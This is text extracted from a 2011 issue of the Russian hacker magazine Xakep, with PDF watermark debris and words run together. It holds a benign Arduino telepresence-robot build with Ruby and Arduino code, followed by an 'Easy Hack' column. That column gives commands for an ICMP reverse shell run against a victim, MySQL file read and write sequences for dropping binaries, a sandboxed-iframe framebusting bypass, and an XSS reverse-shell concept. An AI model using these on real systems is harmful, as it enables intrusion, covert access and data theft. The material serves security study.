Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
8.91 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Видеочатнаколесикахw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

профиляилидерева.Нолучшепосетитьзаднийдворближайшегосупер- маркетаиподобратьтамплотныйпластмассовыйящикиз-подфруктов. Припомощисаморезовможноустановитьнанемнетолстыедеревянные брусочки,ккоторымукрепитьмоторыивспомогательныеколеса.

Моторыдляшуруповертовимеютспецифическуюформу,иустанавливатьихбезродногокорпусанепросто.Решениежедовольно тривиально—доработатькорпусшуруповертаножовкойинапильни- комиустанавливатьмоторвнем.Всювнутреннююэлектроникунам придетсявыкинуть,оставивлишьмоторсдвумяпроводами,которые нужновывестинаружуизкорпуса.Есливтвоихшуруповертахнет керамическихконденсаторовна100нФмеждуконтактамимотора,то рекомендуюихтудаприпаять:спасетотпомехналогикеиеесамопро- извольногосброса.Можноприпаятьдватакихконденсатора—между контактамимотораиегокорпусом,нодляэтогопотребуетсямощный паяльникиаккуратность,чтобы,соднойстороны,прогретьстенкимотора,асдругой,неповредитьпластиковыечасти.Впрочем,фильтры можнодобавитьинасиловуюплату.

СОБИРАЕМЗАЩИТНИКАВСЕЛЕННОЙ

Кромеящикасмотораминуженещекрепкийбрусок,накоторомбудет укрепленстоликдляноутбука.Оптимальнаядлинатакая,чтобы общаявысотаполучиласьпримерно110см,—тогдананоутбукебудет удобноинабиратьиполучитсянепростороботтелеприсутствия,а полноценноерабочееместо,котороевсостоянииследоватьзатобой повсюду.Столикдляноутбукаможносделатьизкускаоргстекла (размеромпримернослистокА4),азакрепитьнастальныеуголкипри помощиболтовиливытяжныхзаклепок.Всё,чтонезакрепленосамо- резами:моторы,платы,провода,аккумулятор,—удобнозакрепить припомощинейлоновыхстяжек.Способнедорогойипредельносер- дитый.Конечно,моторысколесамииз-затакогокрепленияпридется частоотправлятьнаразвал-схождение.

ВНОСИММОЗГИ

Теперьнужносоздатьэлектроннуюипрограммнуючасти.Вобщем,схема такова:наудаленномклиенте,которыйсоединяетсясмиромчерезWiFi- или3G-модем,запущенапрограмма,котораячитаетнажатиястрелочек наклавиатуреиприпомощиXMPP(напримерGTalk’а)передаетсообщениясуправляющимикомандаминасервер,которымявляетсянаш робот.Тамещеодинуправляющийскриптотлавливаетэтисообщенияи записываетихввиртуальныйСOM-порт,которыйсозданArduino.Дальше ардуиноотправляетсигналынасиловуюплату,котораянепосредственноуправляетмоторами.Именноеесейчасирассмотрим.Моторот шуруповертавмоментстартапотребляетбольше10А,авовремяработы минимум2Апостоянно.Управлятьтакоймощнойштукойудобнолибос помощьюреле(нодлянихсамихпридетсягородитьсхемувключения), либополевымитранзисторами.Дляначаларазберемсамыйпростой вариант(схема1),которыйпозволитнезависимокрутитьсяколесам, причемсразнойскоростью.Ещеплюс—дляэтойсхемынужносовсем немногодеталей,исобратьееможнонамакетнойплате(тольконепро- буйсобиратьеенабеспаечноймакетке—онаневыдержиттакихтоков). Главныйнедостатоктакойсхемы—крутитьсяколесасмогуттольков однусторону,азначит,роботупотребуетсяпространстводляманевров— разворотнаместедлянегонедоступен.

Основаэтойсхемы—полевойтранзистор(Q1,Q2)IRL530.Позаявле- ниюпроизводителя,онможетоткрыватьсяотлогическогоуровняв5В, которыйдаетвыходардуино.Чтобыуправлятьмоторамиплавно,будем подаватьнанихШИМ-сигнал.ВШИМ-режимечастьвременивыход включен,частьвыключен,новсреднемполучается,будтовыходвключен неполноймощностью.Переключенияизсостояниявсостояниепроисходятсчастотойвнесколькокилогерц,исглаживаниеоченькачественное.Поидее,всёдолжнобытьхорошо,давоттолькослабенькийтокот микроконтроллераоченьдолгооткрываетзатвортранзистора,поэтому получается,чтобольшуючастьвременитранзисторпроводитвполуоткрытомсостоянии,когдаегосопротивлениевелико,атокчерезнего немал.Врезультатенатранзисторахможножаритьяичницу,правда, недолго:моипослепятиминутработыроботасгореливовсе.Возможно, лучшебудетработатьдругойпопулярныйтранзистор—суправлением

обозначение

деталь

Q1, Q2

IRL530

R1, R2

130

R3, R4

100k

U$1, U$2

MOTOR

Схема1.Простейшаясхемасиловойчасти

обозначение

деталь

 

 

C13

10nF

 

 

C1-C3,C5-C10

100uF/25V

 

 

C4,C11, C12

100uF/25V

 

 

D13

1N4007

 

 

D1-D13

1N5819

 

 

JP1

Data

 

 

Q1-Q8

IRF1310

 

 

R1-R8

360R

 

 

U$1-U$4

IR2110N

 

 

X1

Мотор 1

 

 

X2

Питание

 

 

X3

Мотор 2

 

 

Схема2.ПолноценныйH-мост

ХАКЕР 10/153/2011

039

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

to

PHREAKINGm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Материалыдляшасси

Электроникаробота

логическимуровнем—RFP30N06LEпроизводстваFairchild,который можетуправлятьсяиуровнемв3,3В.

Ноеслиужзаморачиватьсястакимроботом,можносделатьвсёпо максимумуисоорудитьполноценныйH-мост(схема2),длякотороговзять MOSFET’ыпомощнее,напримерIRF1310—срабочимтокомв42А.Утакого транзисторадажеприпускемоторабудет4-кратныйзапаспомощности, точнонесгорит.Ачтобыоноткрывалсяполностьюиреализовывалвесь свойпотенциал,управлятьимбудетспециальныйполумостовойдрайвер IR2110.Нмостпозволитколесамвращатьсявобестороны,азащищенная схемабудетработатьстабильноибезперегрева.Собратьегонесколько сложнее—деталейгораздобольше(таблица2),многозащитныхдиодов ифильтрующихконденсаторов.Намакеткетакуюплатусделатьещевозможно,нопрощебудетвытравитьдлянееспециальнуюплату.Сделатьее домаможно,например,припомощифоторезиста,ноэтотметодудобен, толькоеслиплатыприходитсяделатьчасто.Дляразовогоприменения прощевоспользоватьсяЛУТ—лазерно-утюжнойтехнологией(поссылке обучающееейвидеоgoo.gl/r1sr).

Послетогокаксиловаячастьсделана,еенужноподключитьк Arduino.Вслучаепервойсхемыихбудетвсеготри—двакШИМ- выходам10и11иодинкземле.Сжелезомпокончено.Теперьсказоб управляющемсофте.

МЫСЛИТЕЛЬНЫЙПРОЦЕСС

Видеоаудиоданныевсистемепередаютсянезависимоотуправления. Городитьсобственнуюсистемутелеконференцийдлятелеботабессмысленно.МожнозапростоиспользоватьSkypeиливидеочатGoogle, обаоникроссплатформенны,поэтомувсяпрограммнаячастьможетбыть организованаподUbuntu.Вскайпеудобнопоставитьвнастройкахгалочку«Автоматическиотвечатьнавызов»,чтобыможнобылоподключиться кроботувлюбоймомент.

Теперьуправляющийсофт.НампонадобитсясервернаяиклиентскаячастьдляPCипрошивкадляArduino.Управляющиескриптыбудем писатьнаRubyподуправлениемUbuntu(никакиххитрыхбиблиотекв скриптахнеиспользуется,ионидолжныработатьивсредеWindows,ив средеCygwin).Наобеихмашинахставиминтерпретатор:

sudo apt-get install ruby rubygems

Помиморуби,понадобитсяещеипарабиблиотекнаклиентедля работысJabber’ом:

sudo gem install xmpp4r-simple

Насервере,помимонее,понадобитсяещеибиблиотекаработыспоследовательнымпортом:

sudo gem install xmpp4r-simple ruby-serialport

Укодасерверапростаязадача—получитьуправляющуюкоманду поJabber’уиотослатьеемикроконтроллеручерезпоследовательный

Ведущаячасть

порт.Форматкомандтоженесложен—двачислаот0до255,черезпро- бел.Каждоечисло—значение,навыходеШИМ—255максимальная скорость,0—остановка.

Код сервера

require 'rubygems' require 'xmpp4r-simple' require 'serialport'

# проиницыализировали все библиотеки sp = SerialPort.new "/dev/ttyUSB0", 9600

# открыли последовательный порт

im = Jabber::Simple.new("ww@mail.com", "pass")

#соединились с Jabber’ом while(true) do

#и до бесконечности

im.received_messages do |message|

#проверяем пришедшие сообщения puts "#{message.body}"

a,b = message.body.split(' ')

#разбираем, если что-то пришло sp.write a.to_i.chr+b.to_i.chr

#и записываем в порт

#пускай контроллер разбирается end

sleep 0.05

#немного погодя всё заново

end

Запуститьэтотскриптпростокомандой

ruby telebot.server.rb

ТЕЛЕБОТНАПРОКАТ

 

Е

слихочешьпопробоватьощутить

 

 

себявшкуреробота,тоделатьсвоего

 

 

 

телеботавовсененужно.Можновзять

 

одногонапрокат.Например,популярногодоволь-

 

ноизвестногороссийскогоRBot'a(teledroids.ru)—

 

ведрообразногороботасоченьподвижнойшеей

 

идоброжелательнымвыражениемлица,хотяон

 

созданвосновномдлярекламныхцелей.Для

 

веселоговремяпровожденияможнопопробовать

 

болееаркадныйвариант:поигратьвшутерот

 

лицаробота(robot-war.ru)илипогонятьпопарку

 

нареальныхмашинках(glavbot.ru)

RBot—русскийтелебот

040

ХАКЕР 10/153/2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Послетогокаккомандаотосланакконтроллеру,еенужноразобратьи тамужезаписатьсоответствующиезначениявножку.

Скетч для Arduino

int lPin = 10; // Левый мотор int rPin = 11; // Правый мотор int command = 0;

void setup() { Serial.begin(9600); }

void loop() {

if (Serial.available() > 0) {

//читаем команду правого мотора command = Serial.read();

//пишем команду правого мотора analogWrite(rPin, command); Serial.println(command, DEC);

//читаем команду левого мотора command = Serial.read();

//записываем команду левого мотора analogWrite(lPin, command); Serial.println(command, DEC);

//в течение 300 мс моторы крутятся

delay(300);} //потом отключаются

//и ждут новых указаний

analogWrite(rPin, 0);

analogWrite(lPin, 0); }

Благодарятакомупростомуформатупередачисообщенийсерверу клиентаможнонеписатьивовсе,простосидивчатикедапереписывайся сроботом.Такойвариант,конечно,малоудобен,поэтомуещеодинскрипт, которыйбудетчитатьнажатияклавишклавиатурыиотсылатькоманды поджабберу.

Пониматьонбудеттристрелочки,атакжецифрыот1до3,которые задаютскорость.Вскриптеиспользуетсянебольшоеколичествомагии, котораяпозволяетконсольномуприложениючитатьнажатияклавишбез подтвержденияклавишейEnter.

Код клиента

require 'rubygems'

require 'xmpp4r-simple'

@a = 255/3

@im = Jabber::Simple.new("qq@mail.com", "pass")

@recipient="ww@mail.com"

# читаем клавиши без нажатия Enter def read_char

begin

#магия начинается

old_state = 'stty -g'

system "stty raw -echo"

c = STDIN.getc.chr

if(c=="\e")

extra_thread = Thread.new{

c = c + STDIN.getc.chr

c = c + STDIN.getc.chr

}

extra_thread.join(0.00001)

extra_thread.kill

end

rescue => ex

puts "#{ex.class}: #{ex.message}"

puts ex.backtrace

ensure

system "stty #{old_state}"

end

return c

# магия кончается

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Видеочатнаколесикахw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

БАЛАНСИРУЮЩИЙ ДВУХКОЛЕСНЫЙРОБОТ

тобысделатьбалансирующегоробота,нужнапростаядвухко-

Члеснаяробоплатформа,ккоторойнеобходимодобавитьгироскоп дляизмеренияугловойскоростиотклонения(чтобыпонять,когда

роботначнетзаваливаться)иакселерометр,чтобызнать,вкакуюсторонунаправленагравитация,икорректироватьпоказаниягироскопа.Выпускаются, правда,этимикросхемывужасномелкихкорпусах,скоторымиработатьдома почтиневозможно,поэтомупрощевоспользоватьсяDIP-модулями,например откомпанииSparkfun(гироскопsparkfun.com/products/9059иакселерометр sparkfun.com/products/844).Вкачествеосновыможновзятьфайлыпроекта ArduRoller(github.com/fasaxc/ArduRoller)—тамужеестьготовыйкодисхемы.

end

#разбираемся с прочитанными клавишами

def show_single_key

c = read_char case c

#по нажатию кнопки отсылаем сообщение when "\e[A"

puts "Вперед"

@im.deliver(@recipient, @a.to_s+" "+@a.to_s) when "\e[C"

puts "Направо" @im.deliver(@recipient, "0 "+@a.to_s) when "\e[D"

puts "Налево" @im.deliver(@recipient, @a.to_s+" 0")

#цифры от 1 до 3 определяют скорость when "1"

puts "1" @a = 255/3 when "2" puts "2"

@a = 255*2/3 when "3" puts "3"

@a = 255

#по esc прикрываем лавочку

when "\e" Process.exit

end

end

#запускаем прослушку до конца времен

show_single_key while(true)

Всеготово!Запускаемклиентисерверикатаемсяпоквартире.Потом можнопровестииуличныеиспытания—общаясьсослегкаизумленными прохожими.

КУДАКАТИТЬСЯДАЛЬШЕ?

Сколькоэтостоило?Натележкусмоторами,аккумуляторамиипрочим ушлонеболее100долларов,нетбукябралсвой,нозапарусотенточно можноприобрестиподобныйслегкаподержанный.Ителеприсутствуватьвразныхместах!

Хотянаэтомнестоитостанавливаться!Легкозаставитьегокататься повагонамэлектрички,собираяпожертвованиянаразвитиеотечественнойробототехники,итакокупитьзатратынаегопостройку.Аможно установитьнанегополноценнуюробооперационкуROS(ros.org/wiki/), навеситьразнообразныхдатчиковидовестиегопоинтеллектудоуровня WillowGaragePR2(goo.gl/SDr8)илиRBot(rbot.ru). z

ХАКЕР 10/153/2011

041

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

ВЗЛОМm

/EASYHACK

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-xcha

n

e

 

 

Тюрин«GreenDog»Алексей,DSecRG.ru

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

(agrrrdog@gmail.com,twitter.com/antyurin)w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

EASY

HACK

ОРГАНИЗОВАТЬСКРЫТЫЙКАНАЛСВЯЗИ

СКОМПЬЮТЕРОМЗАФАЙРВОЛОМ

ЗАДАЧА

РЕШЕНИЕ

Конечно,самоепростое—этозабиндитьшеллнакаком-нибудь TCP-портуилиорганизоватьbackconnect.Ночтоделать,еслиэти возможностинедоступны:набинд-шелланехватаетправ,аисходя- щиеTCP-коннектыблокируютсяфайрволом?

Внашемраспоряжениивседругиепротоколы,инкапсулировать можнокудаугодно.Одинизотличныхвариантов—использовать DNS-туннельвварианте,реализованномАлексеемСинцовым(читай

в147-мвыпускеХ).Носегоднямнехотелосьбырассказатьобисполь- зованиишелла,работающегочерезпротоколICMP,—аесликонкрет- но,тоореализацииотBernardoDameleиегодругаNico:reverseicmp shell.Какясно,вданномслучаенаклиенте(тоестьунашейжертвы)

открываетсяшелливесьегоисходящийтрафикпихаетсявпакетыICMPechorequest(обычныеping’и).Унаснасерверемыпарсим данныевходящихзапросов,авответныхICMPecho-reply-пакетах передаемкомандыклиенту.

Впринципе,темадовольностандартная,ноздесьестьдвеот- личительныеиприятныедлянасособенности.Во-первых,таккак

РаботаICMP-шелла:сверху—клиент,внизу—сервер

этопосутиbackconnect,тошансыпреодолетьфайрволсущественно повышаются.Во-вторых,иэтоглавнаяфишка,этотшеллнетребует админскихправ:разработчикипотрудилисьинеиспользовалиraw socket’ы.Итак,юзаем.

У жертвы

icmpsh.exe -t ha.ck.er.ip

Имеетсянескольконастроекклиента,которыевыбираютсявзависимостиотнеобходимойскрытностиискоростиканала.Тулзанемного глючит,такчтонекорректныенастройкибудутзаметносказыватьсяна работоспособности.

У себя

./icmpsh_m.py ha.ck.er.ip vi.ct.im.ip

ЗдесьмыуказываемпоочередисвойIPиадреснашейжертвы, откудабудутприходитьпинги.Клиентскаячастьнаписанатолькопод Windows,что,вобщем-то,логично.Работаетотличноубесправных юзеров,какнаXP,такив7-ке.

Сервернаячастьреализованасразунатрехязыках—Perl,C, Python.ХотяизаявленаработанавсехОС,нонапрактикенужнопользоватьсяниксами.Связаноэтокакминимумстем,чтопередзапуском сервернойчастинеобходимоотключитьуОСответынавходящие ICMP-ping-запросы:

sysctl -w net.ipv4.icmp_echo_ignore_all=1

Ещеоднаприятностьвтом,чтоданныйкомплекттеперьофициальновходитвsqlmap.

Конечно,защититьсяоттакогохекаоченьпросто:админубудет достаточнолишьзаблокироватьисходящийICMP-трафик.Однакона практикеэтоделаетсякрайнередко,поэтомутемабудетработатьв абсолютномбольшинствесетей.

042

ХАКЕР 10/153/2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

EASYHACKw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ПОЛУЧИТЬДОСТУПКФАЙЛОВОЙСИСТЕМЕИЗMYSQL

ЗАДАЧА

РЕШЕНИЕ

Сейчасблекхатамчастонетсмыслалезьвкорпоративнуюсеть,ведь основнойпрофит—базаданных,котораяобычно«доступна»через веб-порталкомпании.Сломалсайт—получилдоступкБД,дальше лезтьобычнонетсмысла.

Нотакбываетневсегда.Например,ситуация:мыпоимеликакую-то базуданных,нонашацель—другаясистеманатомжехосте.Воттути появляетсязадачаполучитьвозможностьвыполнятькомандывОСили хотябычитатьфайлы.Второгодобитьсяпроще,таккакэтотфункционалчастодоступеннепривилегированнымпользователямСУБД.

Основнойпуть—использованиефункцииLoad_File().Длячтения необходимыпривилегииFILEиCREATETABLE.Кстати,подвиндой шансовнаудачноечтениефайловбольше,таккакмускулзапускаетсяподпривилегированнойучетнойзаписьюLocalSystem.Влучшем случае,еслиунасестьвозможностьвыполнятьпоследовательность команд,длячтениябинарногофайлапотребуетсяследующийкод:

SELECT HEX(LOAD_FILE(C:/test.exe)) INTO DUMPFILE 'c:/windows/

temp/blablabla';

CREATE TABLE readtest(data longtext);

LOAD DATA INFILE 'c:/windows/temp/blablabla' INTO TABLE

readtest FIELD TERMINATED BY '\\' (data);

Поясню.Здесьвпервойстрокемычитаемнеобходимыйбинарники пихаемегововременныйфайлвшестнадцатеричномвиде.Этонеобходимодлятого,чтобыпревратитьбинарникв«обычный»текст.Дальше

создаемтаблицусоднимполемтипаlongtext.Втретьейстроке—под- гружаемтолькочтосозданныйвременныйфайлвнашуновуютабличку сучетомразбиениястрокипотипуокончаниястрок.Вобщем,вселогично.Причтениитекстовыхфайловотпервогопунктаможноизбавиться.

ДлятогочтобызаписатьфайлвОС,необходимоиметьправаFILE, UPDATE,INSERT,CREATETABLE.Посути,намтребуетсяужеописаннаякомандаSELECTсуказаниемINTODUMPFILE.Сразуотмечу,чтоу насестьвозможностьтолькоперезаписыватьсуществующийфайл, нониктонемешаетнамсначалаегопрочитать,апотом,добавивсвои данные,записатьобратно.Всложныхслучаях,когданамнеобходимо залитьбинарник,мыможемвоспользоватьсяследующейпоследова- тельностью.Во-первых,разбитьбинарникначастиввидеhex-строки длинойпо1024байта.Во-вторых,выполнитьследующиекоманды:

CREATE TABLE writetest(datalongblog);

INSERT INTO writetest(data) VALUES (0x4d5a90..610000);

UPDATE writetest SET data= CONCAT (data,0xaa27000000000000);

[…];

SELECT data FROM writetest INTO DUMPFILE 'C:/windows/Temp/test.exe';

Здесьмынапервомшагесоздаемтабличкусоднимполемдля хранениябинарника.Навторомшагевданноеполемыкладемпервую hex-строку.Апотомпоследовательнымикомандамиконкатенации добавляемостальныеhex-строки.Напоследнемшаге,засчетселекта, скидываемзначениеполявexe’шиквлюбомместеОС.ОписанныеметодикиоснованынаработеБернандоДамеле(BlackHat2009,goo.gl/23808).

ОБОЙТИFRAMEBUSTING-ЗАЩИТУ

ЗАДАЧА

РЕШЕНИЕ

ПаруномеровназадярассказывалпроXSS-track(goo.gl/lXmF8)—на- грузкудляXSS-уязвимостей.Сутьеевтом,чтоонадобавляетна уязвимуюстраницуфреймразмеромвовесьэкран,вкоторомзагружаетсядругаястраницаэтогожедомена.Пользовательприэтом видитнормальнуюстраницусайта,новсеегодействияотслежива- ютсяXSS-трекером:все,чтонаходитсявнутрифрейма,доступноиз JavaScript,акрометого,некоторыедействияможноиэмулировать. Кросс-доменныеполитикитутнедействуют,таккакпользовательне покидаетдомена.

Впрочем,оттакихфреймовыхнагрузокдавноужеестьзащита.В простейшемвидеонапредставляетсобойнебольшойJavaScript:

<script type="text/javascript">

if(top != self) top.location.replace(location); </script>

Данныйскриптразмещаютнастраницахзащищаемогосайта.Он проверяет,загруженливфрейме,иперезагружаетстраницувслучае обнаруженияэтогофакта.Ноиздесьмыкое-чтоможемсделать.Один изспособов,правда,неоченьгуманный—обрезатьвозможности яваскриптавофрейме.Делаетсяэтозасчетиспользованияпараметра sandbox,которыйпоявилсявHTML5иужеподдерживаетсябраузерами.

<iframe src=?http://www.victim.com? sandbox="allow-same-origin

allow-forms allow-scripts"></iframe>

Здесьмы«разжали»нашупесочницу,позволяяпроводитьбольшинстводействийвнутрифреймавштатномрежиме.Еслимыуберем allow-scripts,тояваскриптывнутрифрейманезапустятся.Ночтоваж-

нодлянас,allow-top-navigationвспискеразрешенийотсутствует,тем самымзапрещаяскриптамвнутрифреймапереходитьнадругиесайты основнымокном.Тоестьсфреймажертвауженикуданеденется.

Уданнойтехнологииобходаframebusting-защитыестьодин временныйминус:поддерживаетсяэтановаяHTML5-фичатолькопо- следнимибраузерами,даитоневсеми.Тутужзадумаешься,насколько крутоиметьсамыйпродвинутыйбраузер.

Вкачествеэкспериментальногоибраузерозависимоговарианта можнопредложитьидеюобходазасчетвстроеннойвIE8/9защитыотXSS. Фичавтом,чтобыпереходитьнастраницысframebusting’ом,добавляя

вадресприпереходепростейшиеJavaScipt’ы(XSS).ФильтрIE,«увидев» отраженнуюXSS’ку,автоматомотключаетяваскриптнастранице(той,что внутрифрейма),иframebusterнеактивируется.Такимобразом,дляэкспу- латациинамнужныпочтидвеXSS-дырки.Однадлятого,чтобыподгру- зитьяваскриптсфреймом(storedXSSилиreflected,еслитызнаешь,как обойтиIE-фильтр),ивторая—дляподстановкивофреймеиактивации фильтравIE.Согласен,чтохитро,нокакидеяэтодовольноинтересно.

Включаемпесочницу—отключаемяваскриптвофрейме

ХАКЕР 10/153/2011

043

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

ВЗЛОМm

/EASYHACK

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-xcha

n

e

 

 

ВЫЖАТЬМАКСИМУМИЗXSS

РЕШЕНИЕ

ЯхочунемногоповедатьоShelloftheFuture.Ксожалению,

этовсеголишьэкспериментальнаяразработка,такчтопокакратко. ВHTML5появляетсятакаявещь,какCOR—Cross-originrequests. Сихпомощьюбраузерысмогутпосылатькросс-доменныевызовы иполучатьответы,еслисерверэторазрешит.Витогеможнобудет туннелироватьHTTP-трафик.Поидееэтовыглядиттак:

1.ЖертвапереходитпоссылкесXSS.

2.XSSподгружаетнагрузку—шелл(ShelloftheFuture).

3.МыразрешаемнасвоемсервереприемтакихCOR’ов.

4.ШеллотслеживаетдействияпользователяиотправляетихСОR’ами.

5.ВCOR-ответымыкладемнеобходимыедлявыполнениякоманды.

6.НашшеллчитаетответыСОRивыполняетнеобходимыедействия.

Допятогопунктавсеработаетпрямосейчас.Посутиосновная фича—этовозможностьобработкиответовJavaScript’ом.Витогемы получаемреверсовыйhttp-шелл.

Технологиидвижутся.Чтосамоестрашное—можноползатьпо атакуемомусайтуотименинашейжертвывсвоембраузере.Ноздесь уженепомогутниframebusting,низащитакукисовфлагамиHttpOnly/ Secure.Авторэтогочуда—ЛавакумарКуппан.Еслиинтересноуглу-

биться,рассмотретьтонкостиипопрактиковаться—www.andlabs.org/

ShelloftheFuture:официальнаясхема

tools/sotf/sotf.html.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 
